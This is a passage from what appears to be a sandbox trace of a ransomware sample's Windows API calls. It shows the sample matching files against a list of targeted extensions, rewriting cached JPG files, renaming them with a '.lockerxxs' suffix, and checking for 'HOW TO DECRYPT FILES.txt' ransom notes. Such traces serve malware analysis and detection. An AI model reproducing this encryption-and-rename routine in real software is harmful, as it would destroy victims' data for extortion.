lstrlenA (lpString="*.qbm") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qbo") returned 0 [0084.348] lstrlenA (lpString="*.qbo") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qbx") returned 0 [0084.348] lstrlenA (lpString="*.qbx") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qba") returned 0 [0084.348] lstrlenA (lpString="*.qba") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qby") returned 0 [0084.348] lstrlenA (lpString="*.qby") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qbj") returned 0 [0084.348] lstrlenA (lpString="*.qbj") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.ofx") returned 0 [0084.348] lstrlenA (lpString="*.ofx") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.qif") returned 0 [0084.348] lstrlenA (lpString="*.qif") returned 5 [0084.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.mye") returned 0 [0084.348] lstrlenA (lpString="*.mye") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.mbox") returned 0 [0084.349] lstrlenA (lpString="*.mbox") returned 6 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.eml") returned 0 [0084.349] lstrlenA (lpString="*.eml") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.pst") returned 0 [0084.349] lstrlenA (lpString="*.pst") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.ost") returned 0 [0084.349] lstrlenA (lpString="*.ost") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.idx") returned 0 [0084.349] lstrlenA (lpString="*.idx") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.dbx") returned 0 [0084.349] lstrlenA (lpString="*.dbx") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.sql") returned 0 [0084.349] lstrlenA (lpString="*.sql") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.mdb") returned 0 [0084.349] lstrlenA (lpString="*.mdb") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.fdb") returned 0 [0084.349] lstrlenA (lpString="*.fdb") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.wab") returned 0 [0084.349] lstrlenA (lpString="*.wab") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.dat") returned 0 [0084.349] lstrlenA (lpString="*.dat") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.txt") returned 0 [0084.349] lstrlenA (lpString="*.txt") returned 5 [0084.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.jpeg") returned 0 [0084.349] lstrlenA (lpString="*.jpeg") returned 6 [0084.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", pszSpec="*.jpg") returned 1 [0084.350] lstrlenA (lpString="*.jpg") returned 5 [0084.350] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" [0084.350] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" [0084.350] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg." [0084.350] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.lockerxxs" [0084.350] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.350] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2669 [0084.350] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b9c870, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b9c870, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b9c870, dwHighDateTime=0x1d2faf3)) returned 1 [0084.350] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.350] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2643, lpOverlapped=0x0) returned 1 [0084.353] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg") returned="BBE972F[1].jpg" [0084.353] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.353] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2643, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2643, lpOverlapped=0x0) returned 1 [0084.353] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.353] CloseHandle (hObject=0xa4) returned 1 [0084.353] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg.lockerxxs")) returned 1 [0084.354] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458308d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a77, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE9tdx[1].jpg", cAlternateFileName="BBE9TD~1.JPG")) returned 1 [0084.354] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE9tdx[1].jpg") returned 1 [0084.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE9tdx[1].jpg") returned 1 [0084.354] lstrcmpiA (lpString1="", lpString2="BBE9tdx[1].jpg") returned -1 [0084.354] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg") returned="BBE972F[1].jpg" [0084.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.354] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.355] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBE9tdx[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.ems") returned 0 [0084.355] lstrlenA (lpString="*.ems") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.db") returned 0 [0084.355] lstrlenA (lpString="*.db") returned 4 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.dbf") returned 0 [0084.355] lstrlenA (lpString="*.dbf") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.myox") returned 0 [0084.355] lstrlenA (lpString="*.myox") returned 6 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.myo") returned 0 [0084.355] lstrlenA (lpString="*.myo") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qbw") returned 0 [0084.355] lstrlenA (lpString="*.qbw") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qbb") returned 0 [0084.355] lstrlenA (lpString="*.qbb") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qbm") returned 0 [0084.355] lstrlenA (lpString="*.qbm") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qbo") returned 0 [0084.355] lstrlenA (lpString="*.qbo") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qbx") returned 0 [0084.355] lstrlenA (lpString="*.qbx") returned 5 [0084.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qba") returned 0 [0084.356] lstrlenA (lpString="*.qba") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qby") returned 0 [0084.356] lstrlenA (lpString="*.qby") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qbj") returned 0 [0084.356] lstrlenA (lpString="*.qbj") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.ofx") returned 0 [0084.356] lstrlenA (lpString="*.ofx") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.qif") returned 0 [0084.356] lstrlenA (lpString="*.qif") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.mye") returned 0 [0084.356] lstrlenA (lpString="*.mye") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.mbox") returned 0 [0084.356] lstrlenA (lpString="*.mbox") returned 6 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.eml") returned 0 [0084.356] lstrlenA (lpString="*.eml") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.pst") returned 0 [0084.356] lstrlenA (lpString="*.pst") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.ost") returned 0 [0084.356] lstrlenA (lpString="*.ost") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.idx") returned 0 [0084.356] lstrlenA (lpString="*.idx") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.dbx") returned 0 [0084.356] lstrlenA (lpString="*.dbx") returned 5 [0084.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.sql") returned 0 [0084.357] lstrlenA (lpString="*.sql") returned 5 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.mdb") returned 0 [0084.357] lstrlenA (lpString="*.mdb") returned 5 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.fdb") returned 0 [0084.357] lstrlenA (lpString="*.fdb") returned 5 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.wab") returned 0 [0084.357] lstrlenA (lpString="*.wab") returned 5 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.dat") returned 0 [0084.357] lstrlenA (lpString="*.dat") returned 5 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.txt") returned 0 [0084.357] lstrlenA (lpString="*.txt") returned 5 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.jpeg") returned 0 [0084.357] lstrlenA (lpString="*.jpeg") returned 6 [0084.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", pszSpec="*.jpg") returned 1 [0084.357] lstrlenA (lpString="*.jpg") returned 5 [0084.357] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" [0084.357] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" [0084.357] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg." [0084.357] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.lockerxxs" [0084.357] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js 